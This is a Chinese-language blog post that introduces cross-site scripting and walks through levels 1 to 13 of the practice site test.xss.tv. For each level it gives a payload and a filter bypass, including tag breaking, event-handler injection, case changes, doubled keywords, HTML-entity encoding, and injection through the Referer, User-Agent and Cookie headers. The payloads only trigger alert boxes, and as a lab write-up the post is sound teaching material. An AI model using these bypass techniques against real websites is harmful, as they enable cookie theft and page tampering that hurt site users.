XSS初始和练习

August 17, 2018 WEB安全 访问: 29 次

介绍

XSS(跨站脚本攻击)是指攻击者在网页中嵌入客户端脚本,通常是Javascript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将在用户的浏览器上被解析执行。重点在”脚本”这两个字上,脚本主要有两个:JavaScript和ActionScript。要想深入研究XSS,必须要精通JavaScript,JavaScript能做到什么效果,XSS的威力就有多强大。

危害

JavaScript可以用来获取用户Cookie、改变页面内容、URL转跳,那么存在XSS漏洞的网站,就可以盗取用户Cookie、黑掉页面、导航到恶意网站,而攻击者仅仅需要向页面中注入JavaScript代码。

  1. 盗取管理员Cookie
  2. XSS Worm
  3. 挂马(水坑攻击)
  4. 键盘记录(有局限性)
  5. 利用网站重定向
  6. 修改网页内容
  7. ……

攻击场景

在各类SNS、邮件系统、开源流行的Web应用、BBS、微博等社交场景中,前端攻击被广泛实施与关注。主要是一些大型网站才有价值。

  1. 支持html解析和javascript解析的客户端,如:html文档、flsh、pdf等
  2. url的参数,回显到网页上
  3. form表单提交的内容出现在网页上,如:昵称、邮箱、简介、留言
  4. ……

练习网站(test.xss.tv)

这个网站对于XSS这个漏洞的类型我感觉还是挺全的,值得我们去了解一下。

第一关

首先通过URL可以发现用户可控的参数是name,并且这个参数可以回显在页面上,所以我们可以通过name将JS代码送入页面当中。

payload:http://test.xss.tv/level1.php?name=<script>alert(/xss/)</script>

当通过这个payload访问网站的时候,会发现有弹窗出现,也就是说明我们插入的JS代码成功的执行了。这个pass对参数没有进行任何的过滤和处理。

第二关

观察页面有一个输入框,可以用同样的payload来试一下,发现同样出现在网站的页面上,但是没有被执行,继续查看源码发现将payload中的特殊字符进行了转义,但是发现我们输入的字符串成为了input标签的value属性,于是我们通过闭合原有的标签对,来让我们的JS代码来执行,根据源代码写出以下的payload,发现成功的出现弹窗。

" ><script>alert(/xss/)</script>//

第三关

同样的输入第一关的payload,查看页面的反应是什么,输入之后发现将特殊字符都进行了转义。那么我们就要绕过这些特殊字符的出现,这个时候我们就得需要一些JS的知识了,onerror、onclick等属性也可以触发JS的执行。payload如下:

' onclick='alert(/xss/)

第四关

通过输入第一关的payload发现该网站把"<",">"给过滤了,所以我们还尝试这用闭合单引号来添加属性,只不过这次需要闭合的是双引号,payload:

" onclick="alert(/xss/)

第五关

通过输入第一关的payload发现网站对script进行了分割,从而使插入的JS代码失效,然后我们再试一试利用onclick属性,发现带有“on”的也给过滤了,然后经过测试发现a标签没有过滤,于是构造出来一个a标签,通过点击a标签来触发这个JS代码,payload:

"> <a href="javascript:alert(/xss/)">点击<a"

第六关

通过前几关同样的测试,发现同样是对“script”、“on”等关键字进行了阶段,然后再试试上一个pass用的a标签也不能使用了,该网站对href也进行了拆分。然后经过测试可以利用大小写进行绕过,payload:

"> <a href="javascript:alert(/xss/)">点击<a"
" ONCLICK="alert(/xss/)

第七关

通过输入onclick、script发现该网站把script和on给去除了,如果我们要绕过那么我们就要双写这个单词,payload:

" oonnclick="alert(/xss/)

第八关

通过在输入框中输入字符串,查看源码发现输入的字符串直接在a标签的href属性当中,根据第五关第六关的做法,输入javascript:alert(/xss/)即可,但是当我们输入这个的时候发现仍然对script进行了拆分,然后经过测试我们可以通过改变语句的编码来绕过,

XSS转码引发的过滤问题

有攻就有防,网站程序员肯定不会放任大家利用XSS,所以他们常会过滤类似javascript的关键字符,让大家构造不了自己的XSS,我这里就捡两个被忽略惯了的字符来说,它们是"&"和"/".首先来说说"&"字符,玩过SQL注入的都知道,注入的语句可以转成16进制再赋给一个变量运行,XSS的转码和这个还真有异曲同工之妙,原因是我们的IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,这种XSS转码支持10进制和16进制,SQL注入转码是将16进制字符串赋给一个变量,而XSS转码则是针对属性所赋的值,下面我就拿示例:

 <img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">

于是我们就构造这里的payload:

&#0000106&#000097&#0000118&#000097&#0000115&#000099&#0000114&#0000105&#0000112&#0000116&#000058&#000097&#0000108&#0000101&#0000114&#0000116&#000040&#000049&#000041

第九关

通过源码发现

<a href="您的链接不合法?有没有!">友情链接</a>

说明输入的字符串要符合一个正常的网站链接,经过测试,只要字符串中包含着“http://”就可以,所以构造payload:

javascript:alert("http://")

然后发现JavaScript仍然被分割,所以还是利用编码的转换来绕过这个:

&#000106&#00097&#000118&#00097&#000115&#00099&#000114&#000105&#000112&#000116:alert(&#0034asdhttp://&#0034)

第十关

第十关发现没有了keyword参数,通过查看源代码发现有三个隐藏的输入框,所以要在这三个输入框下手。

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>

先每个参数都传进去一个。然后发现只有t_sort将指赋给value,所以XSS的点就在这里,还是原来的方法,直接闭合双引号,加一个ON事件,payload如下:

http://test.xss.tv/level10.php?t_sort=" onclick="alert(/xss/)

然而发现隐藏的输入框不能点击,触发不了ON事件,所以我们用火狐的f12中的查看器来将源代码中input标签的hidden属性给去掉,然后再点击输入框即可。

第十一关

查看源代码发现:

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="http://test.xss.tv/level10.php?t_sort=%22%20type=%22text%22%20onclick=%22alert(/xss/)" type="hidden">
</form>

name为t_ref的指是上一关过关的payload,再结合名字发现这个是http包中的REFERER值,先不看这个,先试试其他的三个参数,发现传进去的特殊字符都被进行了转义,所以现在只能通过t_ref指来试一下,打开BurpSuite,抓包,然后通过修改包中的REFERER值,来触发XSS,payload:

REFERER: " type="text" onclick="alert(/xss/)

第十二关

通过源代码发现一个新的input标签,value值为http包中User-Agent的值,所以XSS点就在这里,payload:

User-Agent: " type="test" onclick="alert(/xss/)

第十三关

这一关和第十一关、第十二关原理又是一样的,通过源码发现有一个新的input标签,抓包测试发现这个是cookie中user的值,所以通过这里来进行XSS,payload:

Cookie: LiveWSPUT31127040=1534425737194332751626; NPUT31127040fistvisitetime=1534425737217; NPUT31127040lastvisitetime=1534425737217; NPUT31127040visitecounts=1; NPUT31127040visitepages=1; user=" type="test" onclick="alert(/xss/)

待续……

添加新评论